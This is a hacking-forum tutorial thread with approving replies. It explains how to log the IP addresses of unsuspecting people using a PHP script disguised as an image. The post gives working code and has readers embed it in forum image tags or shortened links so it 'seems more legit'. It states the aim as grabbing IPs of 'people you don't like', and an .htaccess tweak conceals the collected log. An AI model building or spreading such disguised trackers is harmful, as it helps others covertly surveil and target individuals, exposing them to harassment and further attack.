Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Logging IPs with PHP & Images

Logging IPs

Hello HF.
In this tutorial you'll learn how to log IPs on various forums, sites etcetera


Why is it useful?
You could use this to grab IPs of people you don't like or just gather a big list of IPs for personal reasons.

Where can I use this?
I 'spoofed' the script so it acts as an image, so in any place where you can embed an image.
Most (big) image uploading sites block uploading PHPs, so this wouldn't help much.
This can be used on almost ALL forums which allow embedding images (img tags).
You can also send it just as a link, but remember to shorten it to make it seem more legit.

Now for the tutorial;

You need:
- A server running PHP (Almost all versions are OK)
- The ability to read and copy-paste.

Step 1 | Create the script

This is a rough code for the IP logging.
It just takes the IP, writes it to a file called "ips.txt" (it creates it automatically).
I 'spoofed' it to act like an image, so it can be embed.
Just copy my script below;

PHP Code

<?php
header
('Content-type: image/jpeg');
$logfile = fopen('ips.txt', "a") or die("Can't open file.");
fwrite($logfile, "[".date("m/d/Y | H:i:s", time())."]");
fwrite($logfile, "\r\nIP: ".$_SERVER['REMOTE_ADDR']."\r\n\r\n");
fclose($logfile);
?>

Just save the file as <file name>.php (<filename> obviously can be anything, use something image-ish).
Then upload it a server which has apache or some other webservice running.

Step 2 | Getting IPs

Now that you have your logging script set up, it's time for getting IPs.
If you're going to send the link to a person who is at least a bit computer enthusiastic, make sure to shorten it first.
Some people look at the extension before opening the link.

It's easy to execute this on forums.
Just put the link between [img] tags.
Code
[img]http://yoursite.com/image.php[/img]

Step 3 | Logfile

When anyone loads the image or goes to your link, the script adds their IP to "ips.txt".
It has the timestamp OF THE SERVER and then the IP that loaded it.

There you have it.
Basics of logging IPs with images and PHP.

Tweaks

Now the problem with the raw script there is that anyone can read your txt file.
You need to tweak htaccess a bit to block any visits from outside of localhost.

Edit your .htaccess file (which should be located in the root folder).
Add this at the end:

Code
<Files "ips.txt">
order deny,allow
deny from all
allow from 127.0.0.1
</Files>

If you have any suggestions, feel free to comment below~!
Simple and easy tutorial! Thanks. :)
simple and great tutorial .Thanks for the share.
Pretty nice, pretty simple, nice HQ tutorial, well explained
Thanks for the feedback. :)
Just remember not to use this on hackforums to keep your account from being banned. :)
No need to repost the same thing 500 times.
(Feb 9, 2013 07:56 AM)Vlad1k Wrote:  No need to repost the same thing 500 times.

How is it a repost?
I haven't seen this kind of tutorial before here + I wrote all of it by myself.
+ Most new people won't use the search function, they just roam around the tutorial section and check threads that pop up.
Nice and simple tutorial 👍
Gonna be helpfull 🙂
[Image: bmb5MjV.png]
Short n nice tutorial

Do u mind if i add this on my blog?
i will add credits
(Feb 9, 2013 10:30 AM)N1Gh7 F0x Wrote:  Short n nice tutorial

Do u mind if i add this on my blog?
i will add credits

If you add my name + link to this thread, sure. :)
Can you PM me the link to the blog?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by jordanlg450Jul 23, 2018 07:39 PM 0 154 Jul 23, 2018 07:39 PM
Last Post: jordanlg450
by Play BoyMay 9, 2018 09:16 PM 4 318 May 9, 2018 09:16 PM
Last Post: CyberStrike